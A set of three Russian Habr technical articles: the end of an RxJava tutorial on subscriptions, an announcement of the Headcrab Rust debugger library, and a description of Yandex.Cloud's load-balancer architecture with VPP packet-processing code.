Есть один момент, который я до сих пор прятал от вас. Когда вы вызываете `Observable.subscribe()`, вам в ответ возвращается объект класса `Subscription`, который представляет собой связь между вашими `Observable` и `Subscriber`:
```
Subscription subscription = Observable.just("Hello, World!")
.subscribe(s -> System.out.println(s));
```
В дальнейшем можно использовать полученный нами `Subscription` для того, чтобы прекратить подписку:
```
subscription.unsubscribe();
System.out.println("Unsubscribed=" + subscription.isUnsubscribed());
// Выводит "Unsubscribed=true"
```
Когда мы отменяем подписку, RxJava останавливает всю написанную нами цепочку, то есть, иными словами, если у вас написана разухабистая цепочка преобразований, состоящая из множества операторов, `unsubscribe` остановит выполнение вне зависимости от того, какой код сейчас выполняется.3 Ничего больше не требуется.
Заключение
----------
Помните, что эта серия статей является всего лишь введением в RxJava. Есть много интересного и сложного материала, в сравнении с которым моё введение покажется вам цветочками (не верите — почитайте про [backpressure](https://github.com/ReactiveX/RxJava/wiki/Backpressure)). Я бы не стал писать реактивный код повсюду, а приберёг бы его для более сложных участков кода, которые мне хотелось бы переписать в простом и понятном виде.
Изначально я думал, что трех статей будет достаточно, но многие просили меня показать какие-нибудь практические примеры применения RxJava в Android, поэтому я [написал ещё одну](http://habrahabr.ru/post/265997/). Я надеюсь, что моего введения было достаточно, чтобы убедить вас попробовать этот замечательный фреймворк. Если хотите погрузиться в изучение глубже, я рекомендую почитать официальную [wiki-страничку](https://github.com/ReactiveX/RxJava/wiki). И помните: [невозможного не существует](http://zombo.com/).
*Большое спасибо всем людям, помогшим мне вычитать эту статью на предмет ошибок и неточностей: [Matthias Käppler](http://mttkay.github.io/), [Matthew Wear](http://parallelcross.com/), [Ulysses Popple](http://upopple.com/), [Hamid Palo](https://twitter.com/hamidp) и [Joel Drotos](https://plus.google.com/+JoelDrotos/posts) (на которого стоит взглянуть уже только из-за его бороды).*
---
1 Это одна из причин, по которым `Subscriber` стоит делать как можно более легковесными: чтобы не блокировать главный поток более необходимого.
2 Иногда, правда от использования `observeOn()` и `subscribeOn()` можно воздержаться. Например, даже если `Observable` обещает работать долго, а `Subscriber` при этом будет выполняться на I/O потоке, то нет причин перекидывать последний на новый поток.
3 В [первой части](http://habrahabr.ru/post/265269/) я заметил, что `Observable.just()` — это не то же самое, что и самописный `Observable`, вызывающий `onNext()` и `onCompleted()`. И дело тут в подписках: в случае с `Observable.just()` перед вызовом `onNext()` происходит проверка того, является ли `Subscriber` все ещё подписанным, или нет. | https://habr.com/ru/post/265727/ | null | ru | null |
# В поиске вопросов, или как создать новый отладчик
Мы уделяем много внимания инструментам разработки: участвуем в горячих спорах о редакторах (Vim или Emacs?), долго настраиваем IDE под свой вкус, и тщательно выбираем языки программирования и библиотеки, которые с каждым днем становятся все лучше и удобнее. Однако, здесь можно выделить одну категорию, которая по какой-то причине остается незаслуженно забытой: отладчики не сильно изменились за последний десяток лет, хотя по-прежнему являются одним из базовых инструментов для отлова ошибок и навигации в коде.
*Изображение: Timothy Dykes @timothycdykes, unsplash.com*
Гораздо чаще мы предпочитаем быстро добавить пару `print`ов вместо того, чтобы поставить в нужном месте точку останова и пройтись к ней отладчиком — и вопрос "почему?" не перестает меня занимать — ведь логи и `print`ы дают ограниченную информацию и не позволяют интерактивно взаимодействовать с запущенным процессом (а отладчики могут работать даже и с "умершими" процессами!).
Одной из главных причин я вижу как раз отсутствие значительного прогресса в разработке отладчиков.
GDB появился еще во времена Горбачева, и с тех пор не претерпел фундаментальных изменений. И хотя у нас уже есть скоростной интернет, большие экраны с разрешением в 4K, доступные восьми- и шестидесятиядерные процессоры, принцип работы с отладчиком не изменился существенным образом. В лучшем случае, мы получаем интеграцию с IDE и редакторами вроде VS Code (или с браузером, если это JavaScript), но отладчики по-прежнему не умеют по-настоящему понимать наш код и часто не могут дать ответов на сложные вопросы.
Эта ситуация довольно резко контрастирует с прогрессом в дизайне компиляторов и языков программирования. Такие языки как Rust, предлагающие стандартный набор незаменимых в современном мире [инструментов разработки](https://doc.rust-lang.org/cargo/) — хороший пример инновации в устоявшейся сфере системного программирования, где значительная часть инструментов застала уже даже не только Горбачева, но и Брежнева (например, программа Make была создана в 1976 году).
Но этого мало: сейчас архитектура компилятора Rust претерпевает большие изменения в направлении "[библиотекизации](http://smallcultfollowing.com/babysteps/blog/2020/04/09/libraryification/)" — то есть, в разделении на отдельные компоненты и сервисы, которые могут работать в отрыве от привычного монолитного компилятора. Этот процесс важен потому что сейчас компиляторы очень тесно интегрируются в общую среду разработки через "[языковые серверы](https://microsoft.github.io/language-server-protocol/)", и осуществляют такие функции, как дополнение кода или всплывающие подсказки. Более того, так как компилятор становится доступен в форме библиотеки, это создает новую инфраструктуру полезных пользовательских дополнений и инструментов — например, для [статического анализа кода](https://github.com/rust-lang/rust-clippy).
Но вернемся к проблеме отладчиков. Если мы заглянем под капот GDB и LLDB, то увидим довольно странную картину: поддержка для новых языков программирования (Go или Rust) реализуется не при помощи уже существующих компиляторов, а через написание отдельных парсеров выражений на C или C++. Возникает сложная проблема поддержки и порочный круг — отладчики не реализуют в полной мере все выразительные возможности языка, поэтому их мало кто использует — и потому что их мало кто использует, мало кто занимается их поддержкой и разработкой. В результате такой стагнации поддержка отдельных языков удаляется из основной кодовой базы — как это случилось с [Go и Java в LLDB](http://lists.llvm.org/pipermail/lldb-dev/2018-January/013171.html).
Что можно сделать, чтобы выпутаться из такой ситуации? Конечно, переписать все на Rust! Как показывает практика, создание новых современных отладчиков не настолько невероятная задача. Успех проекта [Delve](https://github.com/go-delve/delve) показывает, что отладчики заточенные под идиоматику отдельного языка (в данном случае — Go) востребованы, даже если поддерживается только архитектура x86-64 и ОС Windows/Linux/macOS.
Создавая новый инструмент отладки, мы должны делать его модульным, расширяемым, и с возможностью интеграции с компилятором. Это откроет широкие возможности: пользователи смогут создавать *собственные* доменно-ориентированные отладчики, которые будут иметь полный доступ к контексту конкретного приложения (по аналогии с доменно-ориентированными языками). Модульная структура позволит реализовать [REPL](https://ru.wikipedia.org/wiki/REPL) или аналог [Jupyter](https://jupyter.org/) с визуализацией данных и возможностью писать хоть целые новые функции в рантайме (как в Пайтоне, Руби, и других языках с виртуальной машиной).
Сейчас в большинстве случаев такие возможности отсутствуют, и именно эти проблемы, а также куча времени, потерянного в попытках отлова ошибок, привели к идее нового проекта, призванного помогать находить ответы на сложные вопросы про выполнение кода.
Таким образом, я хочу анонсировать [**Headcrab**](https://github.com/headcrab-rs/headcrab/), новую библиотеку для создания отладчиков. Пока что возможностей немного: можно создавать новые процессы, читать и записывать память, смотреть регистры процессора. Но это лишь начало, и цель на этот год — создать полноценный фреймворк для мини-отладчиков программ написанных на Расте.
Если вам интересно поучаствовать к разработке, мы будем рады вас поддержать, даже если системное программирование пока что для вас ново. Вы также поможете, если поделитесь своим опытом отладки: с какими проблемами вы сталкивались, какие инструменты используете, и что бы хотели видеть в новом отладчике?
Спасибо, что прочитали этот текст. | https://habr.com/ru/post/514332/ | null | ru | null |
# Архитектура сетевого балансировщика нагрузки в Яндекс.Облаке
Привет, я Сергей Еланцев, разрабатываю [сетевой балансировщик нагрузки](https://cloud.yandex.ru/services/load-balancer?utm_source=habr&utm_medium=article&utm_campaign=arkhitektura-setevogo-balansirovshchika-nagruzki&utm_content=link1) в Яндекс.Облаке. Раньше я руководил разработкой L7-балансировщика портала Яндекса — коллеги шутят, что чем бы я ни занимался, получается балансировщик. Я расскажу читателям Хабра, как нужно управлять нагрузкой в облачной платформе, каким мы видим идеальный инструмент достижения этой цели и как движемся к построению этого инструмента.
Для начала введём некоторые термины:
* VIP (Virtual IP) — IP-адрес балансировщика
* Сервер, бэкенд, инстанс — виртуальная машина с запущенным приложением
* RIP (Real IP) — IP-адрес сервера
* Healthcheck — проверка готовности сервера
* Зона доступности, Availability Zone, AZ — изолированная инфраструктура в дата-центре
* Регион — объединение разных AZ
Балансировщики нагрузки решают три основные задачи: выполняют саму балансировку, улучшают отказоустойчивость сервиса и упрощают его масштабирование. Отказоустойчивость обеспечивается за счёт автоматического управления трафиком: балансировщик следит за состоянием приложения и исключает из балансировки инстансы, не прошедшие проверку живости. Масштабирование обеспечивается равномерным распределением нагрузки по инстансам, а также обновлением списка инстансов на лету. Если балансировка будет недостаточно равномерной, то некоторые из инстансов получат нагрузку, превышающую их предел работоспособности, и сервис станет менее надёжным.
Балансировщик нагрузки часто классифицируют по уровню протокола из модели OSI, на котором он работает. Балансирощик Облака работает на уровне TCP, что соответствует четвёртому уровню, L4.
Перейдём к обзору архитектуры балансировщика Облака. Будем постепенно повышать уровень детализации. Мы делим компоненты балансировщика на три класса. Класс config plane отвечает за взаимодействие с пользователем и хранит в себе целевое состояние системы. Control plane хранит в себе актуальное состояние системы и управляет системами из класса data plane, которые отвечают непосредственно за доставку трафика от клиентов до ваших инстансов.
### Data plane
Трафик попадает на дорогостоящие устройства под названием border routers. Для повышения отказоустойчивости в одном дата-центре одновременно работает несколько таких устройств. Далее трафик попадает на балансировщики, которые для клиентов анонсируют anycast IP-адрес на все AZ по BGP.
Трафик передаётся по ECMP — это стратегия маршрутизации, согласно которой может существовать несколько одинаково хороших маршрутов до цели (в нашем случае целью будет destination IP-адрес) и пакеты можно отправлять по любому из них. Также мы поддерживаем работу в нескольких зонах доступности по следующей схеме: анонсируем адрес в каждой из зон, трафик попадает в ближайшую и уже за её пределы не выходит. Дальше в посте мы рассмотрим подробнее, что происходит с трафиком.
### Config plane
Ключевым компонентом config plane является API, через который выполняются основные операции с балансировщиками: создание, удаление, изменение состава инстансов, получение результатов healthchecks и т. д. C одной стороны, это REST API, а с другой, мы в Облаке очень часто используем фреймворк gRPC, поэтому мы «переводим» REST в gRPC и дальше используем только gRPC. Любой запрос приводит к созданию серии асинхронных идемпотентных задач, которые выполняются на общем пуле воркеров Яндекс.Облака. Задачи пишутся таким образом, что они могут быть в любое время приостановлены, а потом запущены заново. Это обеспечивает масштабируемость, повторяемость и логируемость операций.
В итоге задача из API совершит запрос в сервис-контроллер балансировщиков, который написан на Go. Он может добавлять и удалять балансировщики, менять состав бэкендов и настройки.
Сервис хранит своё состояние в Yandex Database — распределённой управляемой БД, которой вскоре сможете пользоваться и вы. В Яндекс.Облаке, как мы уже [рассказывали](https://habr.com/ru/company/yandex/blog/432042/), действует концепция dog food: если мы сами пользуемся своими сервисами, то и наши клиенты тоже будут с удовольствием ими пользоваться. Yandex Database — пример воплощения такой концепции. Мы храним в YDB все свои данные, и нам не приходится думать об обслуживании и масштабировании базы: эти проблемы решены за нас, мы пользуемся базой как сервисом.
Возвращаемся к контроллеру балансировщика. Его задача — сохранить информацию о балансировщике, отправить задачу проверки готовности виртуальной машины в healthcheck controller.
### Healthcheck controller
Он получает запросы на изменение правил проверок, сохраняет их в YDB, распределяет задачи по healtcheck nodes и агрегирует результаты, которые затем сохраняются в базу и отправляются в loadbalancer controller. Он, в свою очередь, отправляет запрос на изменение состава кластера в data plane на loadbalancer-node, о котором я расскажу ниже.
Поговорим подробнее про healthchecks. Их можно разделить на несколько классов. У проверок бывают разные критерии успеха. TCP-проверкам нужно успешно установить соединение за фиксированное время. HTTP-проверки требуют и успешного соединения, и получения ответа со статус-кодом 200.
Также проверки отличаются по классу действия — они бывают активные и пассивные. Пассивные проверки просто следят за тем, что происходит с трафиком, не предпринимая никаких специальных действий. Это не очень хорошо работает на L4, так как зависит от логики протоколов более высокого уровня: на L4 нет информации о том, сколько времени заняла операция, и было ли завершение соединения хорошим или плохим. Активные проверки требуют, чтобы балансировщик посылал запросы к каждому инстансу сервера.
Бо́льшая часть балансировщиков нагрузки выполняет проверки «живости» самостоятельно. Мы в Облаке решили разделить эти части системы для повышения масштабируемости. Такой подход позволит нам увеличивать количество балансировщиков, сохраняя количество healthcheck-запросов к сервису. Проверки выполняются отдельными healthcheck nodes, по которым шардированы и реплицированы цели проверок. Нельзя делать проверки с одного хоста, так как он может отказать. Тогда мы не получим состояние проверенных им инстансов. Мы выполняем проверки любого из инстансов минимум с трёх healthcheck nodes. Цели проверок мы шардируем между нодами с помощью алгоритмов консистентного хэширования.
Разделение балансировки и healthcheck может приводить к проблемам. Если healthcheck node совершает запросы к инстансу, минуя балансировщик (который в данный момент не обслуживает трафик), то возникает странная ситуация: ресурс вроде бы жив, но трафик до него не дойдёт. Эту проблему мы решаем так: гарантированно заводим healthcheck-трафик через балансировщики. Другими словами, схема перемещения пакетов с трафиком от клиентов и от healthchecks отличается минимально: в обоих случаях пакеты попадут на балансировщики, которые доставят их до целевых ресурсов.
Отличие в том, что клиенты делают запросы на VIP, а healthchecks обращаются к каждому отдельному RIP. Тут возникает интересная проблема: нашим пользователям мы даём возможность создавать ресурсы в серых IP-сетях. Представим, что есть два разных владельца облаков, которые спрятали свои сервисы за балансировщики. У каждого их них есть ресурсы в подсети 10.0.0.1/24, причём с одинаковыми адресами. Нужно уметь каким-то образом их отличать, и тут надо погрузиться в устройство виртуальной сети Яндекс.Облака. Подробности лучше узнать в [видео с мероприятия about:cloud](https://www.youtube.com/watch?v=Kr6WIYPts8I&t=5741s), нам сейчас важно, что сеть многослойная и имеет в себе туннели, которые можно различать по id подсети.
Healthcheck nodes обращаются к балансировщикам с помощью так называемых квази-IPv6-адресов. Квазиадрес — это IPv6-адрес, внутри которого зашит IPv4-адрес и id подсети пользователя. Трафик попадает на балансировщик, тот извлекает из него IPv4-адрес ресурса, заменяет IPv6 на IPv4 и отправляет пакет в сеть пользователя.
Обратный трафик идёт так же: балансировщик видит, что назначение — серая сеть из healthcheckers, и преобразует IPv4 в IPv6.
### VPP — сердце data plane
Балансировщик реализован на технологии Vector Packet Processing (VPP) — фреймворке от Cisco для пакетной обработки сетевого трафика. В нашем случае фреймворк работает поверх библиотеки user-space-управления сетевыми устройствами — Data Plane Development Kit (DPDK). Это обеспечивает высокую производительность обработки пакетов: в ядре происходит намного меньше прерываний, нет переключений контекста между kernel space и user space.
VPP идёт ещё дальше и выжимает из системы ещё больше производительности за счёт объединения пакетов в батчи. Повышение производительности происходит благодаря агрессивному использованию кэшей современных процессоров. Используются как кэши данных (пакеты обрабатываются «векторами», данные лежат близко друг к другу), так и кэши инструкций: в VPP обработка пакетов следует по графу, в узлах которого находятся функции, выполняющие одну задачу.
Например, обработка IP-пакетов в VPP проходит в таком порядке: сначала в узле разбора происходит парсинг заголовков пакетов, а потом они отправляются в узел, который пересылает пакеты дальше согласно таблицам маршрутизации.
Немного хардкора. Авторы VPP не терпят компромиссов в использовании кэшей процессора, поэтому типичный код обработки вектора пакетов содержит в себе ручную векторизацию: есть цикл обработки, в котором обрабатывается ситуация вида «у нас четыре пакета в очереди», затем — то же самое для двух, затем — для одного. Часто используются prefetch-инструкции, загружающие данные в кэши для ускорения доступа к ним на следующих итерациях.
```
n_left_from = frame->n_vectors;
while (n_left_from > 0)
{
vlib_get_next_frame (vm, node, next_index, to_next, n_left_to_next);
// ...
while (n_left_from >= 4 && n_left_to_next >= 2)
{
// processing multiple packets at once
u32 next0 = SAMPLE_NEXT_INTERFACE_OUTPUT;
u32 next1 = SAMPLE_NEXT_INTERFACE_OUTPUT;
// ...
/* Prefetch next iteration. */
{
vlib_buffer_t *p2, *p3;
p2 = vlib_get_buffer (vm, from[2]);
p3 = vlib_get_buffer (vm, from[3]);
vlib_prefetch_buffer_header (p2, LOAD);
vlib_prefetch_buffer_header (p3, LOAD);
CLIB_PREFETCH (p2->data, CLIB_CACHE_LINE_BYTES, STORE);
CLIB_PREFETCH (p3->data, CLIB_CACHE_LINE_BYTES, STORE);
}
// actually process data
/* verify speculative enqueues, maybe switch current next frame */
vlib_validate_buffer_enqueue_x2 (vm, node, next_index,
to_next, n_left_to_next,
bi0, bi1, next0, next1);
}
while (n_left_from > 0 && n_left_to_next > 0)
{
// processing packets by one
}
// processed batch
vlib_put_next_frame (vm, node, next_index, n_left_to_next);
}
```
Итак, Healthchecks обращаются по IPv6 к VPP, который превращает их в IPv4. Этим занимается узел графа, который мы называем алгоритмическим NAT. Для обратного трафика (и преобразования из IPv6 в IPv4) есть такой же узел алгоритмического NAT.
Прямой трафик от клиентов балансировщика идёт через узлы графа, которые выполняют саму балансировку.
Первый узел — sticky sessions. В нём хранится хэш от [5-tuple](https://www.techopedia.com/definition/28190/5-tuple) для установленных сессий. 5-tuple включает в себя адрес и порт клиента, с которого передаётся информация, адрес и портов ресурсов, доступных для приёма трафика, а также сетевой протокол.
Хэш от 5-tuple помогает нам выполнять меньше вычислений в последующем узле консистентного хэширования, а также лучше обрабатывать изменение списка ресурсов за балансировщиком. Когда на балансровщик приходит пакет, для которого нет сессии, он отправляется в узел consistent hashing. Тут и происходит балансировка с помощью консистентного хэширования: мы выбираем ресурс из списка доступных «живых» ресурсов. Далее пакеты отправляются в узел NAT, который проводит фактическую замену адреса назначения и перерасчёт контрольных сумм. Как видите, мы следуем правилам VPP — подобное к подобному, группируем схожие вычисления для увеличения эффективности кэшей процессора.
### Консистентное хэширование
Почему мы выбрали именно его и что это вообще такое? Для начала рассмотрим прежнюю задачу — выбора ресурса из списка.
При неконсистентном хэшировании вычисляют хэш от входящего пакета, а ресурс выбирают из списка по остатку от деления этого хэша на количество ресурсов. Пока список остаётся неизменнным, такая схема работает хорошо: мы всегда отправляем пакеты с одинаковым 5-tuple на один и тот же инстанс. Если же, например, какой-то ресурс перестал отвечать на healthchecks, то для значительной части хэшей выбор изменится. У клиента разорвутся TCP-соединения: пакет, ранее попадавший на инстанс А, может начать попадать на инстанс Б, который с сессией для этого пакета не знаком.
Консистетное хэширование решает описанную проблему. Проще всего объяснить эту концепцию так: представьте, что у вас есть кольцо, на которое вы распределяете ресурсы по хэшу (например, по IP:port). Выбор ресурса — это поворот колеса на угол, который определяется по хэшу от пакета.
Тем самым минимизируется перераспределение трафика при изменении состава ресурсов. Удаление ресурса повлияет только на ту часть кольца консистентного хэширования, на которой находился данный ресурс. Добавление ресурса тоже меняет распределение, но у нас есть узел sticky sessions, который позволяет не переключать уже установленные сессии на новые ресурсы.
Мы рассмотрели, что происходит с прямым трафиком между балансировщиком и ресурсами. Теперь давайте разберёмся с обратным трафиком. Он следует по такой же схеме, как и трафик проверок — через алгоритмический NAT, то есть через обратный NAT 44 для клиентского трафика и через NAT 46 для трафика healthchecks. Мы придерживаемся своей же схемы: унифицируем трафик healthchecks и реальный трафик пользователей.
### Loadbalancer-node и компоненты в сборе
О составе балансировщиков и ресурсов в VPP сообщает локальный сервис — loadbalancer-node. Он подписывается на поток событий от loadbalancer-controller, умеет строить разницу текущего состояния VPP и целевого состояния, полученного от контроллера. Мы получаем замкнутую систему: события из API приходят на контроллер балансировщика, который ставит healthcheck-контроллеру задачи на проверку «живости» ресурсов. Тот, в свою очередь, ставит задачи в healthcheck-node и агрегирует результаты, после чего отдаёт их обратно контроллеру балансировщиков. Loadbalancer-node подписывается на события от контроллера и меняет состояние VPP. В такой системе каждый сервис знает только необходимое о соседних сервисах. Количество связей ограничено, и у нас есть возможность независимо эксплуатировать и масштабировать различные сегменты.
### Каких вопросов удалось избежать
Все наши сервисы в control plane написаны на Go и отличаются хорошими характеристиками по масштабированию и надёжности. В Go есть много опенсорсных библиотек для построения распределённых систем. Мы активно используем GRPC, все компоненты содержат в себе опенсорсную реализацию service discovery — наши сервисы следят за работоспособностью друг друга, могут менять свой состав динамически, и мы провязали это с GRPC-балансировкой. Для метрик мы тоже используем опенсорсное решение. В data plane мы получили достойную производительность и большой запас по ресурсам: оказалось очень непросто собрать стенд, на котором можно было бы упереться в производительность VPP, а не железной сетевой карты.
### Проблемы и решения
Что сработало не очень хорошо? В Go управление памятью автоматическое, но утечки памяти всё же бывают. Самый простой способ справиться с ними — запускать горутины и не забывать их завершать. Вывод: следите за потреблением памяти Go-программ. Часто хорошим индикатором является количество горутин. В этой истории есть и плюс: в Go легко получить данные по runtime — по потреблению памяти, по количеству запущенных горутин и по многим другим параметрам.
Кроме того, Go — возможно, не лучший выбор для функциональных тестов. Они довольно многословные, и стандартный подход «запустить всё в CI пачкой» для них не очень подходит. Дело в том, что функциональные тесты более требовательны к ресурсам, с ними возникают настоящие таймауты. Из-за этого тесты могут завершаться неуспешно, так как CPU занят юнит-тестами. Вывод: по возможности выполняйте «тяжёлые» тесты отдельно от юнит-тестов.
Микросервисная событийная архитектура сложнее монолита: грепать логи на десятках разных машин не очень удобно. Вывод: если делаете микросервисы, сразу думайте про трейсинг.
### Наши планы
Мы запустим внутренний балансировщик, IPv6-балансировщик, добавим поддержку сценариев Kubernetes, будем и дальше шардировать наши сервисы (сейчас шардированы только healthcheck-node и healthcheck-ctrl), добавим новые healthchecks, а также реализуем умную агрегацию проверок. Мы рассматриваем возможность сделать наши сервисы ещё более независимыми — чтобы они общались не напрямую между собой, а с помощью очереди сообщений. В Облаке недавно появился SQS-совместимый сервис [Yandex Message Queue](https://cloud.yandex.ru/services/message-queue).
Недавно состоялся публичный релиз Yandex Load Balancer. Изучайте [документацию](https://cloud.yandex.ru/docs/load-balancer/?utm_source=habr&utm_medium=article&utm_campaign=arkhitektura-setevogo-balansirovshchika-nagruzki&utm_content=link2) к сервису, управляйте балансировщиками удобным вам способом и повышайте отказоустойчивость своих проектов! | https://habr.com/ru/post/448588/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.